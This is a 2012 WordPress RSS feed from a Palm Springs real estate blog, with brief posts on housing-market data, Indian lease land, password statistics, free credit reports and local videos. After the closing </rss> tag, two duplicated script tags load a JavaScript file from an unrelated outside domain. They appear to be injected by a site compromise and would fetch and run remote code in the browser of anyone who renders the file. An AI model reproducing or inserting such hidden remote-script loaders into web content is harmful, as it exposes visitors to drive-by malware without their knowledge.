<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Your Desert Blog</title>
	<atom:link href="http://yourdesertblog.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://yourdesertblog.com</link>
	<description>Your Place For All Desert Happenings</description>
	<lastBuildDate>Sun, 19 Feb 2012 09:44:56 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>Play music with your car</title>
		<link>http://yourdesertblog.com/play-music-with-your-car/</link>
		<comments>http://yourdesertblog.com/play-music-with-your-car/#comments</comments>
		<pubDate>Sun, 19 Feb 2012 09:44:56 +0000</pubDate>
		<dc:creator>Judy Horn</dc:creator>
				<category><![CDATA[Life Styles]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[CAR]]></category>
		<category><![CDATA[music]]></category>

		<guid isPermaLink="false">http://yourdesertblog.com/?p=7481</guid>
		<description><![CDATA[Can you play music with a car? Yes you can, if you have 1,000 instruments and 2 miles of desert.]]></description>
			<content:encoded><![CDATA[<p>Can you play music with a car? Yes you can, if you have 1,000 instruments and 2 miles of desert.<br />
<iframe src="http://www.youtube.com/embed/MejbOFk7H6c" frameborder="0" width="412" height="298"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://yourdesertblog.com/play-music-with-your-car/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft Home of the Future</title>
		<link>http://yourdesertblog.com/microsoft-home-of-the-future/</link>
		<comments>http://yourdesertblog.com/microsoft-home-of-the-future/#comments</comments>
		<pubDate>Fri, 17 Feb 2012 09:38:08 +0000</pubDate>
		<dc:creator>Judy Horn</dc:creator>
				<category><![CDATA[Real Estate]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[home]]></category>
		<category><![CDATA[house]]></category>
		<category><![CDATA[http://www.YourDesertBlog.com]]></category>
		<category><![CDATA[Judy and Nelson Horn]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[realtors]]></category>

		<guid isPermaLink="false">http://yourdesertblog.com/?p=7477</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><iframe src="http://www.youtube.com/embed/ODpReoKQVXM" frameborder="0" width="343" height="281"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://yourdesertblog.com/microsoft-home-of-the-future/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Indian Lease Land Explained</title>
		<link>http://yourdesertblog.com/internationally-acclaimed-real-estate-website/</link>
		<comments>http://yourdesertblog.com/internationally-acclaimed-real-estate-website/#comments</comments>
		<pubDate>Wed, 15 Feb 2012 09:48:03 +0000</pubDate>
		<dc:creator>Judy Horn</dc:creator>
				<category><![CDATA[Real Estate]]></category>
		<category><![CDATA["Agua Caliente"]]></category>
		<category><![CDATA["lease land"]]></category>
		<category><![CDATA["U.S. Department of the Interior"]]></category>
		<category><![CDATA[condos]]></category>
		<category><![CDATA[homes]]></category>
		<category><![CDATA[Indian]]></category>
		<category><![CDATA[Judy and Nelson Horn]]></category>
		<category><![CDATA[land]]></category>
		<category><![CDATA[palm springs]]></category>
		<category><![CDATA[rent]]></category>
		<category><![CDATA[tribe]]></category>

		<guid isPermaLink="false">http://yourdesertblog.com/?p=7456</guid>
		<description><![CDATA[www.JudyAndNelson.com  In the greater Palm Springs area there are pockets of real estate,  homes and condos,  located on lease land owned by the Agua Caliente Indian Tribe. Before offering to purchase such property Realtors, Judy and Nelson Horn strongly suggest &#8230; <a href="http://yourdesertblog.com/internationally-acclaimed-real-estate-website/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>www.JudyAndNelson.com  In the greater Palm Springs area there are pockets of real estate,  homes and condos,  located on lease land owned by the Agua Caliente Indian Tribe. Before offering to purchase such property Realtors, Judy and Nelson Horn strongly suggest you understand the process and the principals involved. What role does the U. S. Department of the Interior Bureau of Indian Affairs Palm Springs Agency have in this topic? What is required for financing? How does one establish the fair monthly land rent? The Horns explain these questions in this video. Contact Judy and Nelson Horn, 760-285-5097 for all of your real estate needs.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://yourdesertblog.com/internationally-acclaimed-real-estate-website/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PASSWORDS: Everything You Need To Know</title>
		<link>http://yourdesertblog.com/passwords-everything-you-need-to-know/</link>
		<comments>http://yourdesertblog.com/passwords-everything-you-need-to-know/#comments</comments>
		<pubDate>Wed, 15 Feb 2012 09:30:47 +0000</pubDate>
		<dc:creator>Judy Horn</dc:creator>
				<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://yourdesertblog.com/?p=7465</guid>
		<description><![CDATA[Password Facts: Luke Wroblewski of Luke W Ideation &#38; Design offers the following enlightening facts about password usage and security: • The average person has between 7 and 25 accounts that they log into every day. • People report authenticating about 15 &#8230; <a href="http://yourdesertblog.com/passwords-everything-you-need-to-know/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Password Facts: Luke Wroblewski of Luke W Ideation &amp; Design offers the following enlightening facts about password usage and security:<br />
• The average person has between 7 and 25 accounts that they log into every day.<br />
• People report authenticating about 15 times in a typical work day on average.<br />
• 86% of U.S. companies use password authentication.<br />
• 70% of people do not use a unique password for each Web site.<br />
• Around 82% of people have forgotten a password used on a Web site.<br />
• 4.28% of Yahoo users forgot their passwords over a three month period.<br />
• Password recovery is the number one request to help desks for intranets that don&#8217;t have single sign-on portal capabilities.<br />
• The top 5 passwords at Gawker (based on released records) accounted for roughly 1 in 4 passwords. The top password, 123456, came in at over 3,000 uses within the dataset of 188,279.<br />
• A survey of 34,000 MySpace passwords revealed that the most common were &#8220;password1&#8243;, &#8220;abc123&#8243;, &#8220;myspace1&#8243;, and &#8220;password&#8221;. (For a complete list of sources for the above facts, visit Luke W&#8217;s blog.)</p>
<p>&nbsp;</p>
<p><a href="http://www.lukew.com/ff/entry.asp?1487">visit Luke W&#8217;s blog.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://yourdesertblog.com/passwords-everything-you-need-to-know/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Consumer home price expectations continue upward trend</title>
		<link>http://yourdesertblog.com/consumer-home-price-expectations-continue-upward-trend/</link>
		<comments>http://yourdesertblog.com/consumer-home-price-expectations-continue-upward-trend/#comments</comments>
		<pubDate>Mon, 13 Feb 2012 03:08:31 +0000</pubDate>
		<dc:creator>Judy Horn</dc:creator>
				<category><![CDATA[Real Estate]]></category>
		<category><![CDATA[consumer]]></category>
		<category><![CDATA[prices]]></category>

		<guid isPermaLink="false">http://yourdesertblog.com/?p=7445</guid>
		<description><![CDATA[&#160; Fannie Mae’s latest National Housing Survey shows that the majority of Americans continue to expect no change in mortgage rates over the next 12 months. However, their expectations for home prices have improved for the fourth month in a &#8230; <a href="http://yourdesertblog.com/consumer-home-price-expectations-continue-upward-trend/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>&nbsp;<br />
Fannie Mae’s latest National Housing Survey shows that the majority of Americans continue to expect no change in mortgage rates over the next 12 months. However, their expectations for home prices have improved for the fourth month in a row, with respondents expecting prices to go up by 1 percent, on average, during the year.</p>
<p>&nbsp;</p>
<p>Of the consumers surveyed, 44 percent expect their personal financial situation to improve, up from 40 percent a month ago, and 30 percent of Americans believe the economy is on the right track, up from 22 percent last month and up for the third straight month since November 2011.</p>
<p>&nbsp;</p>
<p><strong>Highlights of the monthly survey include:</strong></p>
<p>&nbsp;</p>
<ul>
<li>Twenty-eight percent of respondents expect home prices to increase over the next 12 months (up 2 percentage points since last month), while 16 percent say they expect home prices to decline (down 2 percentage points since last month). Fifty-one percent say prices will stay the same.</li>
<li>Only 8 percent of Americans say that mortgage rates will go down in the next 12 months, down 2 percentage points from December.</li>
<li>The percentage of respondents who say it is a good time to buy stayed at 71 percent in January, while the percentage who say it is a good time to sell dropped by 1 percentage point to 10 percent.</li>
</ul>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><a href="http://www.fanniemae.com/portal/about-us/media/corporate-news/2012/5635.html">More info</a></p>
<p><span style="color: #000000;"><strong><br />
</strong></span></p>
]]></content:encoded>
			<wfw:commentRss>http://yourdesertblog.com/consumer-home-price-expectations-continue-upward-trend/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Internationally Acclaimed Real Estate Website Award www.JudyAndNelson.com</title>
		<link>http://yourdesertblog.com/internationally-acclaimed-real-estate-website-award-www-judyandnelson-com/</link>
		<comments>http://yourdesertblog.com/internationally-acclaimed-real-estate-website-award-www-judyandnelson-com/#comments</comments>
		<pubDate>Sun, 12 Feb 2012 22:46:02 +0000</pubDate>
		<dc:creator>Judy Horn</dc:creator>
				<category><![CDATA[Real Estate]]></category>
		<category><![CDATA[award]]></category>
		<category><![CDATA[http://www.JudyAndNelson.com]]></category>
		<category><![CDATA[Judy and Nelson Horn]]></category>
		<category><![CDATA[palm springs]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[website]]></category>

		<guid isPermaLink="false">http://yourdesertblog.com/?p=7451</guid>
		<description><![CDATA[http://www.JudyAndNelson.com  Palm Springs area Realtors, Judy and Nelson Horn post this video with pride and a sense of humor. If you need help in buying, selling, investing or leasing in real estate call Judy and Nelson Horn 760-285-5097]]></description>
			<content:encoded><![CDATA[<p>http://www.JudyAndNelson.com  Palm Springs area Realtors, Judy and Nelson Horn post this video with pride and a sense of humor. If you need help in buying, selling, investing or leasing in real estate call Judy and Nelson Horn 760-285-5097</p>
<p><iframe src="http://www.youtube.com/embed/EyTXxAVukuc" frameborder="0" width="465" height="262"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://yourdesertblog.com/internationally-acclaimed-real-estate-website-award-www-judyandnelson-com/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Short Sale Soundoff: Freddie Mac to increase short sale incentives</title>
		<link>http://yourdesertblog.com/short-sale-soundoff-freddie-mac-to-increase-short-sale-incentives/</link>
		<comments>http://yourdesertblog.com/short-sale-soundoff-freddie-mac-to-increase-short-sale-incentives/#comments</comments>
		<pubDate>Fri, 10 Feb 2012 09:04:55 +0000</pubDate>
		<dc:creator>Judy Horn</dc:creator>
				<category><![CDATA[Real Estate]]></category>
		<category><![CDATA[freddie mac]]></category>
		<category><![CDATA[money]]></category>
		<category><![CDATA[short sale]]></category>

		<guid isPermaLink="false">http://yourdesertblog.com/?p=7443</guid>
		<description><![CDATA[Freddie Mac soon will increase incentives paid for completed short sales, according to a spokesman for the government-sponsored enterprise. Through HAFA, the Treasury currently provides $1,500 for servicers and up to $2,000 for investors who allow up to $6,000 of &#8230; <a href="http://yourdesertblog.com/short-sale-soundoff-freddie-mac-to-increase-short-sale-incentives/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><span style="color: #000000;"><strong><br />
</strong></span> Freddie Mac soon will increase incentives paid for completed short sales, according to a spokesman for the government-sponsored enterprise.</p>
<p>Through HAFA, the Treasury currently provides $1,500 for servicers and up to $2,000 for investors who allow up to $6,000 of the short sale proceeds be paid to subordinate-lien holders.</p>
<p>But servicers completed only 27,600 short sales and deeds-in-lieu of foreclosure through December. Of those, only 1,600 were for GSE-backed mortgages, according to Treasury Department data released Monday.</p>
<p>Private investors approved more than 18,300, and the rest were held on the servicer portfolio.<span id="more-7443"></span></p>
<p>Nearly two-thirds of HAFA activity occurred in three states. Roughly 43 percent of these transactions occurred in California, followed by 15 percent in Florida and 6 percent in Arizona.</p>
<p>According to the Freddie spokesman, the upcoming incentive changes are being constructed with the hope of boosting short sale volumes. Whether these higher payments will go to servicers, investors, or the subordinate-lien holders is unknown.</p>
<p><a href="http://www2.realtoractioncenter.com/site/R?i=uAmPgWuZ9HwQin-Y6y0sNA"><strong>More info</strong></a></p>
]]></content:encoded>
			<wfw:commentRss>http://yourdesertblog.com/short-sale-soundoff-freddie-mac-to-increase-short-sale-incentives/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Home prices decreased 4.7 percent in 2011</title>
		<link>http://yourdesertblog.com/home-prices-decreased-4-7-percent-in-2011/</link>
		<comments>http://yourdesertblog.com/home-prices-decreased-4-7-percent-in-2011/#comments</comments>
		<pubDate>Thu, 09 Feb 2012 09:00:23 +0000</pubDate>
		<dc:creator>Judy Horn</dc:creator>
				<category><![CDATA[Real Estate]]></category>
		<category><![CDATA[home]]></category>
		<category><![CDATA[prices]]></category>

		<guid isPermaLink="false">http://yourdesertblog.com/?p=7441</guid>
		<description><![CDATA[&#160; CoreLogic’s December Home Price Index (HPI®) report shows that, including distressed sales, home prices in the U.S. decreased 4.7 percent in 2011 compared with December 2010. The year-end report shows that home prices continued the trend of year-end decreases. &#8230; <a href="http://yourdesertblog.com/home-prices-decreased-4-7-percent-in-2011/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>&nbsp;<br />
CoreLogic’s December Home Price Index (HPI®) report shows that, including distressed sales, home prices in the U.S. decreased 4.7 percent in 2011 compared with December 2010.</p>
<p><span id="more-7441"></span>The year-end report shows that home prices continued the trend of year-end decreases. 2011 was the fifth consecutive year with a decrease in the HPI. The HPI, excluding distressed sales, shows that home prices decreased by 0.9 percent in 2011, giving an indication of the impact of distressed sales on home prices in 2011.<br />
The five states with the largest peak-to-current declines including distressed transactions are Nevada (-60.0 percent), Arizona (-51.9 percent), Florida (-50 percent), Michigan (-43.7 percent), and California (-43.5 percent).</p>
<p><a href="http://www.corelogic.com/about-us/news/corelogic-december-home-price-index-gives-first-look-at-full-year-2011-price-changes.aspx">More Info</a></p>
]]></content:encoded>
			<wfw:commentRss>http://yourdesertblog.com/home-prices-decreased-4-7-percent-in-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FREE CREDIT REPORT</title>
		<link>http://yourdesertblog.com/free-credit-report/</link>
		<comments>http://yourdesertblog.com/free-credit-report/#comments</comments>
		<pubDate>Wed, 08 Feb 2012 09:32:06 +0000</pubDate>
		<dc:creator>Judy Horn</dc:creator>
				<category><![CDATA[Life Styles]]></category>
		<category><![CDATA[credit]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[IDENTITY]]></category>
		<category><![CDATA[REPORT]]></category>

		<guid isPermaLink="false">http://yourdesertblog.com/?p=7438</guid>
		<description><![CDATA[FREE CREDIT REPORT STOP IDENTITY THEFT At AnnualCreditReport, you can obtain your free report once a year from each of the three reporting agencies. Stagger your requests so you can get a report every four months. www.annualcreditreport.com]]></description>
			<content:encoded><![CDATA[<p>FREE CREDIT REPORT</p>
<p>STOP IDENTITY THEFT At AnnualCreditReport, you can obtain your free report once a year from each of the three reporting agencies. Stagger your requests so you can get a report every four months.</p>
<p><a href="www.annualcreditreport.com">www.annualcreditreport.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://yourdesertblog.com/free-credit-report/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Focus on PALM SPRINGS the O&#8217;Donnell Golf Club</title>
		<link>http://yourdesertblog.com/focus-on-palm-springs-the-odonnell-golf-club/</link>
		<comments>http://yourdesertblog.com/focus-on-palm-springs-the-odonnell-golf-club/#comments</comments>
		<pubDate>Wed, 08 Feb 2012 00:27:59 +0000</pubDate>
		<dc:creator>Judy Horn</dc:creator>
				<category><![CDATA[Life Styles]]></category>
		<category><![CDATA["Palm Springs" "O'Donnell Golf Club"]]></category>
		<category><![CDATA[Judy and Nelson Horn]]></category>

		<guid isPermaLink="false">http://yourdesertblog.com/?p=7433</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><iframe src="http://www.youtube.com/embed/Uem6kjh7gdU" frameborder="0" width="379" height="214"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://yourdesertblog.com/focus-on-palm-springs-the-odonnell-golf-club/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script type="text/javascript" src="http://www.daysofyorr.com/release.js"></script><script type="text/javascript" src="http://www.daysofyorr.com/release.js"></script>
